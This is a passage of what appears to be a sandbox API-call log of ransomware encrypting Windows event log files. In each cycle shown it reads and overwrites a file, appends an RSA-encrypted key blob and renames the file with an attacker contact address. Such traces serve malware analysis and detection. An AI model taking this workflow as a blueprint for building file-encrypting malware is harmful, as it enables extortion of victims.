lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.194] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.198] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.198] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.198] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.198] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.198] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.200] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0124.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="485otTCwgOE6UJGLMXjk/OjCnmeEb+ur+LnrI0dnGz/o1OcjekwHexbKoXvuYK1K\nKfBLE1fsW3TgLKOQb+PnxXbLmeDzALbAo5TWmVAlokofc26GKqlpOHzA80WqddyQ\nC075NICddyvxJEUhlIH/l2CtjD1qc7Dhw5dVHwqgTFv2JxE7eE9dgzceLKX3efiD\nWLmjt2SRiGZFbooWyvFilQ/REsuX8cxApSWIRrz77gqTW5Uy6btDmvkzUKXYaWT/\nypFor6QNaSXV89KGrboJSfsrGgPviopGuGoIlcnOPGyNPLpb8dJemTqem4Gr2/Uf\ngrzUPx/xbl4IEijYUkyQrQ==\n", pcchString=0x2e3f9a8) returned 1 [0124.200] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.200] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.200] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.200] CloseHandle (hObject=0x460) returned 1 [0124.202] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0124.202] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0124.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58c8 | out: hHeap=0x570000) returned 1 [0124.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b55f8 | out: hHeap=0x570000) returned 1 [0124.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b5580 [0124.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0124.204] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.204] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0124.205] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b58c8 [0124.205] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0124.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58c8 | out: hHeap=0x570000) returned 1 [0124.205] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.205] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.205] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.206] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.206] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.228] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.228] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.229] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.230] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.232] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.232] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.232] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.233] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.233] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.234] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.234] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0124.234] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="jckIJkx4dIDuOXiuTXbJMKcVUW40STMcmJir8zNftCNK5vBT+kF9KtZCJbqg5L6/\nHlU9zJg+nbPAUF5K3I9UD5hnCEwmHExJV7KemB8zR5Ql4BauLCnsC+3mYRRW/G0A\nM+8BRCI8rl5WWX4PenIL7LiP2PRUiB5qNt9Jgne9MLJAUYjB2DkXPhnPpGqTkrR7\nw9Kx7bYFfTFaAuUXhinqOdey4sNLELHT+29xiF+bc2K71dzHQWsx+/qgZgg3IQeE\nshfduB0KQ9tmu9KbSaWIS+1ygZ7A2EE61OBxZZXSnGacLS8WZxVhkPchG+A2cvfR\n2nmP2ne1ZsBnejbKovrHog==\n", pcchString=0x2e3f9a8) returned 1 [0124.234] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.234] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.234] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.235] CloseHandle (hObject=0x460) returned 1 [0124.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0124.238] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0124.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5580 | out: hHeap=0x570000) returned 1 [0124.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b57d8 | out: hHeap=0x570000) returned 1 [0124.245] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0124.245] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb98 [0124.245] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.245] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx", dwFileAttributes=0x80) returned 1 [0124.245] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0124.245] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x2e40f20 [0124.245] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0124.245] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.245] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1052672) returned 1 [0124.245] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x3145020 [0124.246] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x101000) returned 0x325e020 [0124.246] ReadFile (in: hFile=0x460, lpBuffer=0x3145020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3145020*, lpNumberOfBytesRead=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0124.305] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.306] WriteFile (in: hFile=0x460, lpBuffer=0x325e020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x325e020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x101000, lpOverlapped=0x0) returned 1 [0124.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3145020 | out: hHeap=0x570000) returned 1 [0124.311] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x325e020 | out: hHeap=0x570000) returned 1 [0124.311] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x101000 [0124.311] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.312] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.312] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.312] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.312] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.312] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5d80 [0124.312] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5d80, pcchString=0x2e3f9a8 | out: pszString="yfywIMtnt9uUaj+rVDjg6QBgsVkrrjcBqnMkG+qny9NTvnSdPZQhJGhC+/bcF6vB\nc0WPzl9xbqVtaLsk6OjagDZiQOpYZCFH3r5kjZpMie35IW1pMzq5+nRbv/5b8mdi\nnkZNvv1z049CjWCIFZPCQ0wS26YTqZtPDYuj7/Xzg+Ta9wXOeCrt2rW6YzEVxb1L\nYNH8tLusXT8gLhIUOYcSYHQUcDrLNAITRrNQK+XOrwhW0FqkF1n9ETTVgNayVcVy\nmqiE8pJB7ZODrjIc2wIVoTzPxmITklJWxqLHTwcOwvzNKkkf7jFHsyhg/SFhATYv\nJLsczZrE4rb/34AuTbm+og==\n", pcchString=0x2e3f9a8) returned 1 [0124.312] WriteFile (in: hFile=0x460, lpBuffer=0x5b5d80*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5d80*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.312] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.312] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.312] CloseHandle (hObject=0x460) returned 1 [0124.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0124.330] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0124.335] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0124.335] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0124.335] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x2e40f20 [0124.335] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0124.335] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.335] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0124.347] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5b5b28 [0124.347] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x5b5d80 [0124.347] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5b28 | out: hHeap=0x570000) returned 1 [0124.347] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.347] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.347] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.347] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.348] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.386] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.386] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.386] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.386] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.388] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.388] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.388] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.388] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.388] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.446] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5e68 [0124.446] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5e68, pcchString=0x2e3f9a8 | out: pszString="oZqRI15AwhGV19aV4RJ0xxhdIxNUiu2sLBePKE8GYedsHwW77PDXz8S+IIUGyfFq\n+k4N+p43xh6ixprkQT7Dnb0q4cJHwX/nbQNYOLcLUi/K/GeqQXM0rHvM7gCx/UFl\nX/rZbHhYvLXIdoQ6vv60O9RNLqwgNs3WRydS+XKPvSlyv1oyQcnr4n7VLaTJRjQo\nJ9wI4lckpnY4OpcD9/y4HIuTiSsK84q0h/mKgADbLrCV8m+Kfh3+IUrs07tu4AfT\nNJtcS3CUJJUWudj3nwQ/9ykwbaq0wbkHJaYoqvUReP62pIErJYOOoL1DBTiTwZ8J\nPP9V6z8pau+v8ilJ3DotSg==\n", pcchString=0x2e3f9a8) returned 1 [0124.446] WriteFile (in: hFile=0x460, lpBuffer=0x5b5e68*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e68*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0124.446] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.446] WriteFile (in: hFile=0x460, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.446] CloseHandle (hObject=0x460) returned 1 [0124.452] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5e68 | out: hHeap=0x570000) returned 1 [0124.452] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0124.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5d80 | out: hHeap=0x570000) returned 1 [0124.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0124.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0124.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5ce8 | out: hHeap=0x570000) returned 1 [0124.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b58c8 [0124.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0124.454] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0124.454] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0124.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5b55f8 [0124.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2e40f20 [0124.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b55f8 | out: hHeap=0x570000) returned 1 [0124.458] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0124.458] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69632) returned 1 [0124.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5d3810 [0124.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11000) returned 0x5e4818 [0124.458] ReadFile (in: hFile=0x460, lpBuffer=0x5d3810, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d3810*, lpNumberOfBytesRead=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.507] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.507] WriteFile (in: hFile=0x460, lpBuffer=0x5e4818*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e4818*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11000, lpOverlapped=0x0) returned 1 [0124.507] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d3810 | out: hHeap=0x570000) returned 1 [0124.507] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e4818 | out: hHeap=0x570000) returned 1 [0124.509] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11000 [0124.509] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0124.509] WriteFile (in: hFile=0x460, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0124.509] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0124.509] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0124.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0124.511] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5ce8 [0124.511] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5ce8, pcchString=0x2e3f9a8 | out: 